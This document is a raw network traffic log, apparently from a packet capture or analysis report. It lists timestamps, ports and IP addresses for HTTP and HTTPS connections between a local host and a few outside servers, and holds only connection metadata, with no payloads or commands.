Nov 26, 2024 10:09:30.678388119 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678392887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678405046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678415060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678416014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678426027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678435087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678436041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678447008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678455114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678457975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678469896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678472996 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678479910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678495884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678495884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678508043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678519964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678519964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678531885 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678543091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678544998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678554058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678565979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678569078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678585052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678596020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678600073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678607941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678618908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678625107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678638935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678654909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678778887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678790092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678802013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678814888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678818941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678826094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678838015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678847075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678848982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678859949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678862095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678872108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678884983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678886890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678896904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678908110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678909063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678920031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678926945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678930998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678941011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678942919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678952932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678965092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678976059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678977013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678987026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678997993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678999901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.679009914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.679019928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.679047108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.681143999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.681322098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.685314894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.685359955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.690802097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.690849066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.696631908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.696679115 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705157042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705169916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705208063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705291033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705302954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705315113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705324888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705336094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705338955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705347061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705353975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705358982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705368996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705369949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705380917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705390930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.705404997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.705430031 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.715698004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.715712070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.715723038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.715753078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.715774059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.717010021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717022896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717032909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717052937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.717078924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.717674971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717716932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.717732906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717746019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.717778921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.719461918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.719484091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.719504118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.719516039 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.720757008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.720768929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.720778942 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.720789909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.720801115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.720808029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.720845938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.722414017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.722424984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.722462893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.723716021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.723728895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.723768950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.745832920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.745845079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.745893002 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.759893894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.759907007 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.759963036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.759975910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.759989023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.759999037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.760011911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.760023117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.760035038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.760040045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.760077953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.760688066 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.760710001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.760895014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.760895014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798038960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798077106 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798091888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798098087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798104048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798115015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798116922 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798135996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798142910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798149109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798161030 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798171997 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798177958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798185110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798196077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798197031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798207998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798208952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798221111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798232079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798238039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798243046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798247099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798250914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798264980 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798271894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798285961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798290014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798297882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798310041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798315048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798324108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798336029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798341036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798347950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798357964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798363924 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798369884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798382998 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798388004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798388004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798394918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798399925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798410892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798432112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798433065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798446894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798448086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798458099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798469067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798474073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798480988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798491955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798499107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798505068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798510075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798512936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798547029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798800945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798815012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798825979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.798851013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798861027 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.798863888 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.798888922 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.798904896 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.798959017 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.798959017 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.798969030 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.799002886 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.799043894 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.799060106 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.799102068 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.799122095 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.799130917 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.799175024 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.799771070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.799820900 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.799834967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.799848080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.799866915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.799890041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.799930096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.799962997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.800631046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.800678015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.800704956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.800764084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.801579952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.801644087 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.801665068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.801908970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.802184105 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.802197933 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.802759886 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.802781105 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.802788019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.802846909 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.802877903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.802897930 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.802907944 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.803591013 CET	49837	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.803600073 CET	443	49837	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.803741932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.803864956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.803904057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.804073095 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.804518938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.804589987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.804617882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.804689884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.804929018 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.804939032 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.805473089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.805521965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.805702925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.805749893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.805790901 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.805805922 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.806018114 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.806030035 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.806046963 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.806099892 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.806432962 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.806446075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.806484938 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.806485891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.806516886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.806580067 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.806590080 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.806608915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.806931973 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:30.806958914 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.807046890 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.807096004 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.807365894 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.807418108 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.807631016 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.807636976 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.807924986 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:30.807930946 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:30.847702980 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.850580931 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.850796938 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.850804090 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.851877928 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.851932049 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.852046967 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.852253914 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.852305889 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.852400064 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.852406979 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.852539062 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.852544069 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.853801966 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.853851080 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.854135990 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.854197979 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.854242086 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.855494976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.855541945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.855652094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.855737925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.856062889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.856102943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.856164932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.856236935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.856693029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.856803894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.856848001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.857675076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.857718945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.857770920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.857815981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.858638048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.858688116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.858736038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.858856916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.859810114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.859855890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.859935045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.860044003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.860805988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.860846043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.860867023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.860898972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.861699104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.861746073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.861906052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.861994028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.862639904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.862692118 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.862719059 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.862850904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.863403082 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.863569975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.863615036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.863795996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.863838911 CET	49766	80	192.168.2.5	185.215.113.206
